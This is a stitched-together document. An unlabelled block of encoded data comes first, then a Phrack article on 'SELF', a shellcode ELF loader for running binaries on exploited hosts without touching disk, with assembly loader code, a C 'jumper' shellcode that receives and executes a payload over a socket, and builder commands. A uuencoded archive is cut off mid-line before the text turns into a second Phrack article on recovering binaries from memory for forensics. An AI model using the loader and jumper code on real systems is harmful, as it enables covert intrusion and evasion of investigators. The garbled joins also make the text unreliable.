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

====

Advanced antiforensics

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x0b of 0x14

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Advanced Antiforensics : SELF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Pluf & Ripe ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ www.7a69ezine.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

1 ‑ Introduction

2 ‑ Userland Execve

3 ‑ Shellcode ELF loader

4 ‑ Design and Implementation

4.1 ‑ The lxobject

4.1.1 ‑ Static ELF binary

4.1.2 ‑ Stack context

4.1.3 ‑ Shellcode loader

4.2 ‑ The builder

4.3 ‑ The jumper

5 ‑ Multiexecution

5.1 ‑ Gits

6 ‑ Conclusion

7 ‑ Greetings

8 ‑ References

A ‑ Tested systems

B ‑ Sourcecode

‑‑‑[ 1 ‑ Introduction

The techniques of remote services' exploitation have made a substantial progress. At the same time, the range of shellcodes have increased and incorporates new and complex anti‑detection techniques like polymorphism functionalities.

In spite of the advantages that all these give to the attackers, a call to the syscall execve is always needed; that ends giving rise to a series of problems:

‑ The access to the syscall execve may be denied if the host uses some kind of modern protection system.

‑ The call to execve requires the file to execute to be placed in the hard disk. Consequently, if '/bin/shell' does not exist, which is a common fact in chroot environments, the shellcode will not be executed properly.

‑ The host may not have tools that the intruder may need, thus creating the need to upload them, which can leave traces of the intrusion in the disk.

The need of a shellcode that solves them arises. The solution is found in the 'userland exec'.

‑‑‑[ 2 ‑ Userland Execve

The procedure that allows the local execution of a program avoiding the use of the syscall execve is called 'userland exec' or 'userland execve'. It's basically a mechanism that simulates correctly and orderly most of the procedures that the kernel follows to load an executable file in memory and start its execution. It can be summarized in just three steps:

‑ Load of the binary's required sections into memory.

‑ Initialization of the stack context.

‑ Jump to the entry point (starting point).

The main aim of the 'userland exec' is to allow the binaries to load avoiding the use of the syscall execve that the kernel contains, solving the first of the problems stated above. At the same time, as it is a specific implementation we can adapt its features to our own needs. We'll make it so the ELF file will not be read from the hard disk but from other supports like a socket. With this procedure, the other two problems stated before are solved because the file '/bin/sh' doesn't need to be visible by the exploited process but can be read from the net. On the other hand, tools that don't reside in the destination host can also be executed.

The first public implementation of a execve in a user environment was made by "the grugq" [1], its codification and inner workings are perfect but it has some disadvantages:

‑ Doesn't work for real attacks.

‑ The code is too large and difficult to port.

Thanks to that fact it was decided to put our efforts in developing another 'userland execve' with the same features but with a simpler codification and oriented to exploits' use. The final result has been the 'shellcode ELF loader'.

‑‑‑[ 3 ‑ Shellcode ELF loader

The shellcode ELF loader or Self is a new and sophisticated post‑exploitation technique based on the userland execve. It allows the load and execution of a binary ELF file in a remote machine without storing it on disk or modifying the original filesystem. The target of the shellcode ELF loader is to provide an effective and modern post‑exploitation anti‑forensic system for exploits combined with an easy use. That is, that an intruder can execute as many applications as he desires.

‑‑‑[ 4 ‑ Design and Implementation

Obtaining an effective design hasn't been an easy task, different options have been considered and most of them have been dropped. At last, it was selected the most creative design that allows more flexibility, portability and a great ease of use.

The final result is a mix of multiple pieces, independent one of another, that realize their own function and work together in harmony. This pieces are three: the lxobject, the builder and the jumper. These elements will make the task of executing a binary in a remote machine quite easy. The lxobject is a special kind of object that contains all the required elements to change the original executable of a guest process by a new one. The builder and jumper are the pieces of code that build the lxobject, transfer it from the local machine (attacker) to the remote machine (attacked) and activate it.

As a previous step before the detailed description of the inner details of this technique, it is needed to understand how, when and where it must be used. Here follows a short summary of its common use:

‑ 1st round, exploitation of a vulnerable service:

In the 1st round we have a machine X with a vulnerable service Y. We want to exploit this juicy process so we use the suitable exploit using as payload (shellcode) the jumper. When exploited, the jumper is executed and we're ready to the next round.

‑ 2nd round, execution of a binary:

Here is where the shellcode ELF loader takes part; a binary ELF is selected and the lxobject is constructed. Then, we sent it to the jumper to be activated. The result is the load and execution of the binary in a remote machine. We win the battle!!

‑‑‑[ 4.1 ‑ The lxobject

What the hell is that? A lxobject is an selfloadable and autoexecutable object, that is to say, an object specially devised to completely replace the original guest process where it is located by a binary ELF file that carries and initiates its execution. Each lxobject is built in the intruder machine using the builder and it is sent to the attacked machine where the jumper receives and activates it.

Therefore, it can be compared to a missile that is sent from a place to the impact point, being the explosive charge an executable. This missile is built from three assembled parts: a binary static ELF, a preconstructed stack context and a shellcode loader.

‑‑‑[ 4.1.1 ‑ Static ELF binary

It's the first piece of a lxobject, the binary ELF that must be loaded and executed in a remote host. It's just a common executable file, statically compiled for the architecture and system in which it will be executed.

It was decided to avoid the use of dynamic executables because it would add complexity which isn't needed in the loading code, noticeably raising the rate of possible errors.

‑‑‑[ 4.1.2 ‑ Stack context

It's the second piece of a lxobject; the stack context that will be needed by the binary. Every process has an associated memory segment called stack where the functions store its local variables. During the binary load process, the kernel fills this section with a series of initial data requited for its subsequent execution. We call it 'initial stack context'.

To ease the portability and specially the loading process, a preconstructed stack context was adopted. That is to say, it is generated in our machine and it is assembled with the binary ELF file. The only required knowledge is the format and to add the data in the correct order. To the vast majority of UNIX systems it looks like:

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

.‑‑> | alignment |

| |================|

| | Argc | ‑ Arguments (number)

| |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| | Argv[] | ‑‑‑. ‑ Arguments (vector)

| |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| |

| | Envp[] | ‑‑‑|‑‑‑. ‑ Environment variables (vector)

| |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| | |

| | argv strings | <‑‑' |

| |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| | ‑ Argv and envp data (strings)

| | envp strings | <‑‑‑‑‑‑'

| |================|

'‑‑‑ | alignment | ‑‑‑‑‑‑‑> Upper and lower alignments '‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

This is the stack context, most reduced and functional available for us. As it can be observed no auxiliary vector has been added because the work with static executables avoids the need to worry about linking. Also, there isn't any restriction about the allowed number of arguments and environment variables; a bunch of them can increase the context's size but nothing more.

As the context is built in the attacker machine, that will usually be different from the attacked one; knowledge of the address space in which the stack is placed will be required. This is a process that is automatically done and doesn't suppose a problem.

‑‑[ 4.1.3 ‑ Shellcode Loader

This is the third and also the most important part of a lxobject. It's a shellcode that must carry on the loading process and execution of a binary file. it is really a simple but powerful implementation of userland execve().

The loading process takes the following steps to be completed successfully (x86 32bits):

* pre‑loading: first, the jumper must do some operations before anything else. It gets the memory address where the lxobject has been previously stored and pushes it into the stack, then it finds the loader code and jumps to it. The loading has begun.

__asm__(

"push %0\n"

"jmp *%1"

:

: "c"(lxobject),"b"(*loader)

);

* loading step 1: scans the program header table and begins to load each PT_LOAD segment. The stack context has its own header, PT_STACK, so when this kind of segment is found it will be treated differently from the rest (step 2)

.loader_next_phdr:

// Check program header type (eax): PT_LOAD or PT_STACK

movl (%edx),%eax

// If program header type is PT_LOAD, jump to .loader_phdr_load

// and load the segment referenced by this header

cmpl $PT_LOAD,%eax

je .loader_phdr_load

// If program header type is PT_STACK, jump to .loader_phdr_stack

// and load the new stack segment

cmpl $PT_STACK,%eax

je .loader_phdr_stack

// If unknown type, jump to next header

addl $PHENTSIZE,%edx

jmp .loader_next_phdr

For each PT_LOAD segment (text/data) do the following:

* loading step 1.1: unmap the old segment, one page a time, to be sure that there is enough room to fit the new one:

movl PHDR_VADDR(%edx),%edi

movl PHDR_MEMSZ(%edx),%esi

subl $PG_SIZE,%esi

movl $0,%ecx

.loader_unmap_page:

pushl $PG_SIZE

movl %edi,%ebx

andl $0xfffff000,%ebx

addl %ecx,%ebx

pushl %ebx

pushl $2

movl $SYS_munmap,%eax

call do_syscall

addl $12,%esp

addl $PG_SIZE,%ecx

cmpl %ecx,%esi

jge .loader_unmap_page

* loading step 1.2: map the new memory region.

pushl $0

pushl $0

pushl $‑1

pushl $MAPS

pushl $7

movl PHDR_MEMSZ(%edx),%esi

pushl %esi

movl %edi,%esi

andl $0xffff000,%esi

pushl %esi

pushl $6

movl $SYS_mmap,%eax

call do_syscall

addl $32,%esp

* loading step 1.3: copy the segment from the lxobject to that place:

movl PHDR_FILESZ(%edx),%ecx

movl PHDR_OFFSET(%edx),%esi

addl %ebp,%esi

repz movsb

* loading step 1.4: continue with next header:

addl $PHENTSIZE,%edx

jmp .loader_next_phdr

* loading step 2: when both text and data segments have been loaded correctly, it's time to setup a new stack:

.loader_phdr_stack:

movl PHDR_OFFSET(%edx),%esi

addl %ebp,%esi

movl PHDR_VADDR(%edx),%edi

movl PHDR_MEMSZ(%edx),%ecx

repz movsb

* loading step 3: to finish, some registers are cleaned and then the loader jump to the binary's entry point or _init().

.loader_entry_point:

movl PHDR_ALIGN(%edx),%esp

movl EHDR_ENTRY(%ebp),%eax

xorl %ebx,%ebx

xorl %ecx,%ecx

xorl %edx,%edx

xorl %esi,%esi

xorl %edi,%edi

jmp *%eax

* post‑loading: the execution has begun.

As can be seen, the loader doesn't undergo any process to build the stack context, it is constructed in the builder. This way, a pre‑designed context is available and should simply be copied to the right address space inside the process.

Despite the fact of codifying a different loader to each architecture the operations are plain and concrete. Whether possible, hybrid loaders capable of functioning in the same architectures but with the different syscalls methods of the UNIX systems should be designed. The loader we have developed for our implementation is an hybrid code capable of working under Linux and BSD systems on x86/32bit machines.

‑‑‑[ 4.2 ‑ The builder

It has the mission of assembling the components of a lxobject and then sending it to a remote machine. It works with a simple command line design and its format is as follows:

./builder <host> <port> <exec> <argv> <envp>

where:

host, port = the attached machine address and the port where the jumper is running and waiting

exec = the executable binary file we want to execute

argv, envp = string of arguments and string of environment variables, needed by the executable binary

For instance, if we want to do some port scanning from the attacked host, we will execute an nmap binary as follows:

./builder 172.26.0.1 2002 nmap‑static "‑P0;‑p;23;172.26.1‑30" "PATH=/bin"

Basically, the assembly operations performed are the following:

* allocate enough memory to store the executable binary file, the shellcode loader and the stack's init context.

elf_new = (void*)malloc(elf_new_size);

* insert the executable into the memory area previously allocated and then clean the fields which describe the section header table because they won't be useful for us as we will work with an static file. Also, the section header table could be removed anyway.

ehdr_new‑>e_shentsize = 0;

ehdr_new‑>e_shoff = 0;

ehdr_new‑>e_shnum = 0;

ehdr_new‑>e_shstrndx = 0;

* build the stack context. It requires two strings, the first one contains the arguments and the second one the environment variables. Each item is separated by using a delimiter. For instance:

<argv> = "arg1;arg2;arg3;‑h"

<envp> = "PATH=/bin;SHELL=sh"

Once the context has been built, a new program header is added to the binary's program header table. This is a PT_STACK header and contains all the information which is needed by the shellcode loader in order to setup the new stack.

* the shellcode ELF loader is introduced and its offset is saved within the e_ident field in the elf header.

memcpy(elf_new + elf_new_size ‑ PG_SIZE + LOADER_CODESZ, loader, LOADER_CODESZ); ldr_ptr = (unsigned long *)&ehdr_new‑>e_ident[9]; *ldr_ptr = elf_new_size ‑ PG_SIZE + LOADER_CODESZ;

* the lxobject is ready, now it's sent to specified the host and port.

connect(sfd, (struct sockaddr *)&srv, sizeof(struct sockaddr) write(sfd, elf_new, elf_new_size);

An lxobject finished and assembled correctly, ready to be sent, looks like this:

[ Autoloadable and Autoexecutable Object ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

| [ Static Executable File (1) ]

| .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| |

| | .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| | | ELF Header )‑‑‑‑‑‑‑‑‑|‑‑‑‑|‑‑.

| | |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| Shellcode Elf loader (3)

| | | Program Header Table | | | hdr‑>e_ident[9]

| | | |

| | | + PT_LOAD0 | | |

| | | + PT_LOAD1 | | |

| | | ... |

| | | ... |

| | | + PT_STACK )‑‑‑‑‑‑‑‑‑|‑‑‑‑|‑‑|‑‑.

| | | | Stack Context (2)

| | |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| | | Sections (code/data) | | | |

| '‑‑> |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| <

| .‑‑> |######################| <

| | |## SHELLCODE LOADER ##| |

| P | |######################|

| A | | |

| G | | ....... |

| E | | ....... |

| | | |

| | |######################| <

| | |#### STACK CONTEXT ###|

| | |######################|

| '‑‑> '‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑'

|

'‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.3 ‑ The jumper

It is the shellcode which have to be used by an exploit during the exploitation process of a vulnerable service. Its focus is to activate the incoming lxobject and in order to achieve it, at least the following operations should be done:

‑ open a socket and wait for the lxobject to arrive

‑ store it anywhere in the memory

‑ activate it by jumping into the loader

Those are the minimal required actions but it is important to keep in mind that a jumper is a simple shellcode so any other functionality can be added previously: break a chroot, elevate privileges, and so on.

1) how to get the lxobject?

It is easily achieved, already known techniques, as binding to a port and waiting for new connections or searching in the process' FD table those that belong to socket, can be applied. Additionally, cipher algorithms can be added but this would lead to huge shellcodes, difficult to use.

2) and where to store it?

There are three possibilities:

a) store it in the heap. We just have to find the current location of the program break by using brk(0). However, this method is dangerous and unsuitable because the lxobject could be unmapped or even entirely overwritten during the loading process.

b) store it in the process stack. Provided there is enough space and we know where the stack starts and finishes, this method can be used but it can also be that the stack isn't be executable and then it can't be applied.

c) store it in a new mapped memory region by using mmap() syscall. This is the better way and the one we have used in our code.

Due to the nature of a jumper its codification can be personalized and adapted to many different contexts. An example of a generic jumper written in C is as it follows:

lxobject = (unsigned char*)mmap(0, LXOBJECT_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, ‑1, 0);

addr.sin_family = AF_INET;

addr.sin_port = htons(atoi(argv[1]));

addr.sin_addr.s_addr = 0;

sfd = socket(AF_INET, SOCK_STREAM, 0));

bind(sfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)); listen(sfd, 10);

nsfd = accept(sfd, NULL, NULL));

for (i = 0 ; i < 255 ; i++) {

if (recv(i, tmp, 4, MSG_PEEK) == 4) {

if (!strncmp(&tmp[1], "ELF", 3)) break;

}

}

recv(i, lxobject, MAX_OBJECT_SIZE, MSG_WAITALL);

loader = (unsigned long *)&lxobject[9];

*loader += (unsigned long)lxobject;

__asm__(

"push %0\n"

"jmp *%1"

:

: "c"(lxobject),"b"(*loader)

);

‑‑‑[ 5 ‑ Multiexecution

The code included in this article is just a generic implementation of a shellcode ELF loader which allows the execution of a binary once at time. If we want to execute that binary an undefined number of times (to parse more arguments, test new features, etc) it will be needed to build and send a new lxobject for each try. Although it obviously has some disadvantages, it's enough for most situations. But what happens if what we really wish is to execute our binary a lot of times but from the other side, that is, from the remote machine, without building the lxobject?

To face this issue we have developed another technique called "multi‑execution". The multi‑execution is a much more advanced derived implementation. Its main feature is that the process of building a lxobject is always done in the remote machine, one binary allowing infinite executions. Something like working with a remote shell. One example of tool that uses a multi‑execution environment is the gits project or "ghost in the system".

‑‑[ 5.1 ‑ Gits

Gits is a multi‑execution environment designed to operate on attacked remote machines and to limit the amount of forensic evidence. It should be viewed as a proof of concept, an advanced extension with many features. It comprises a launcher program and a shell, which is the main part. The shell gives you the possibility of retrieving as many binaries as desired and execute them as many times as wished (a process of stack context rebuilding and binary patching is done using some advanced techniques). Also, built‑in commands, job control, flow redirection, remote file manipulation, and so on have been added.

‑‑‑[ 6 ‑ Conclusions

The forensic techniques are more sophisticated and complete every day, where there was no trace left, now there's a fingerprint; where there was only one evidence left, now there are hundreds. A never‑ending battle between those who wouldn't be detected and those who want to detect. To use the memory and leave the disk untouched is a good policy to avoid the detection. The shellcode ELF loader develops this post‑exploitation plainly and elegantly.

‑‑‑[ 7 ‑ Greetings

7a69ezine crew & redbull.

‑‑‑[ 8 ‑ References

[1] The Design and Implementation of ul_exec ‑ the grugq http://securityfocus.com/archive/1/348638/2003‑12‑29/2004‑01‑04/0

[2] Remote Exec ‑ the grugq http://www.phrack.org/show.php?p=62&a=8

[3] Ghost In The System Project http://www.7a69ezine.org/project/gits

‑‑‑[ A ‑ Tested systems

The next table summarize the systems where we have tested all this fucking shit.

/‑‑‑‑‑‑‑‑‑‑v‑‑‑‑‑‑‑‑‑‑\

| x86 | amd64 |

/‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+

| Linux 2.4 | works | works |

>‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+

| Linux 2.6 | works | works |

>‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+

| FreeBSD | works | untested |

>‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+

| NetBSD | works | untested |

\‑‑‑‑‑‑‑‑‑‑‑‑^‑‑‑‑‑‑‑‑‑‑^

‑‑‑[ B ‑ Sourcecode

begin 644 self.tgz

M'XL(`%)VS$(``^U]:W<;‑[+@?&7_"HS&CDB9I/B0:%F*DU5LV=8=6]):\L2Y

Process Dump and Binary Reconstruction

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x0c of 0x14

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Advances in remote‑exec AntiForensics ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by ilo‑‑ ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1.0 ‑ Abstract

2.0 ‑ Introduction

3.0 ‑ Principles

4.0 ‑ Background

5.0 ‑ Requirements

6.0 ‑ Design and Implementation

6.1‑ Get information of a process

6.2‑ Get binary data of that process from memory 6.3‑ Order/Clean and safe binary data in a file

6.4‑ Build an ELF header for that file to be loaded 6.5‑ Adjust binary information

6.6‑ Resume of process in steps.

6.7‑ pd, the program

7.0 ‑ Defeating pd, or defeating process dumping

8.0 ‑ Conclusion

9.0 ‑ Greets

10.0 ‑ References

11.0 ‑ SourceCode

‑‑[ 1.0 ‑ Abstract

PD is a proof of concept tool being released to help rebuilding or recovering a binary file from a running process, even if the file never existed in the disk. Computer Forensics, reverse engineering, intruders, administrators, software protection, all share the same piece of the puzzle in a computer. Even if the intentions are quite different, get or hide the real (clean) code, everything revolves around it: binary code files (executable) and running process.

Manipulation of a running application using code injection, hiding using ciphers or binary packers are some of the current ways to hide the code being executed from inspectors, as executed code is different than stored in disk. The last days a new anti forensics method published in phrack 62 (Volume 0x0b, Issue 0x3e, phile 0x08 by grugq) showed an "user landexec module". ulexec allows the execution of a binary sent by the network from another host without writing the file to disk, hiding any clue to forensics analysts. The main intention of this article is to show a process to success in the recovering or rebuilding a binary file from a running process, and PD is a sample implementation for that process. Tests includes injected code, burneyed file and the most exotic of all, rebuilding a file executed using grugq's "userland remote exec" that was never saved in disk.

‑‑[ 2.0 ‑ Introduction

An executable contains the data the system needs to run the application contained in the file. Some of the data stored in the file is just information the system should consider before launching, and requirements needed by the application binary code. Running an executable is a kernel process that grabs that information from the file, sets up the needings for that program and launches it.

However, although a binary file contains the data needed to launch a process and the program itself, there's no reason to trust that program has not been modified during execution. One common task to avoid host IDS detecting binary manipulation is to modify a running process instead of binary stored files. A process may be running some kind of troyan injected code until system restart, when original program will be executed again.

In selfmodifing, ciphered or compressed applications, program code in disk may differ from program code in memory due to 'by design' functionality of the file. It's a common task to avoid reverse engineering and scope goes from virus to commercial software. Once the program is ran, it deciphers itself remaining clean in memory content of the process until the end of execution. However, any attempt to see the program contained in the file will require a great effort due to complexity of the implemented cipher or obfuscation mechanism.

In other hand, there's no reason to keep the binary file once the process is started (for example a troyan installer). Many forensics methods rely their investigation in disk MAC (modify, create, access) timeline analysis after powering down the system, and that's the main reason when grugq talked about user land remote exec: there's no need to write data in disk if you can forge the system to run a memory portion emulating a kernel loader. This kind of data contraception may drop any attempt to create an activity timeline due to the missing information: the files an intruder may install in the system. Without traces, any further investigation would not reveal attacker information. That's the description of the "remote exec attack", defeated later in this paper.

All those scenarios presented are real, and in all of them memory system of the suspicious process should be analyzed, however there's no mechanism allowing this operation. There are several tools to dump the memory content, but, in a "human unreadable ‑ system unreadable" raw format. Analysis tools may need an executable formatted file, and also human analyst may need a binary file being launched in a testing environment (aka laboratory). Raw code, or dumped memory code is useful if execution environment is known, but sometimes untraceable. Here is where pd (as concept) may help in the analysis process, rebuilding a working executable file from the process, allowing researchers to launch when and where they need, and capable of being analyzed at any time in any system.

Rebuilding a binary file from a memory process allow us to recover a file modified in run time or deciphered, and also recover if it's being executed but never was saved in the system (as the remote executed using ulexec), preventing from data contraception and information missing in further analysis.

This paper will describe the process of rebuilding an executable from a process in memory, showing each involved data in every step. One of the main goals of the article is to realize where the recovering process is vulnerable to manipulation. Knowing our limits is our best effort to develop a better process.

There are several posts in internet related to code injection and obfuscation. For userland remote execution trick refer to phrack 62 (Volume 0x0b, Issue 0x3e, phile 0x08 by grugq)

‑‑[ 3.0 ‑ Principles

Until this year the most hiding method used for code (malicious or not) hiding was the packing/cyphering one. During execution time, the original code/file should be rebuilt in disk, in memory, or where the unpacker/uncypher should need. The disk file still remains ciphered hiding it's content.

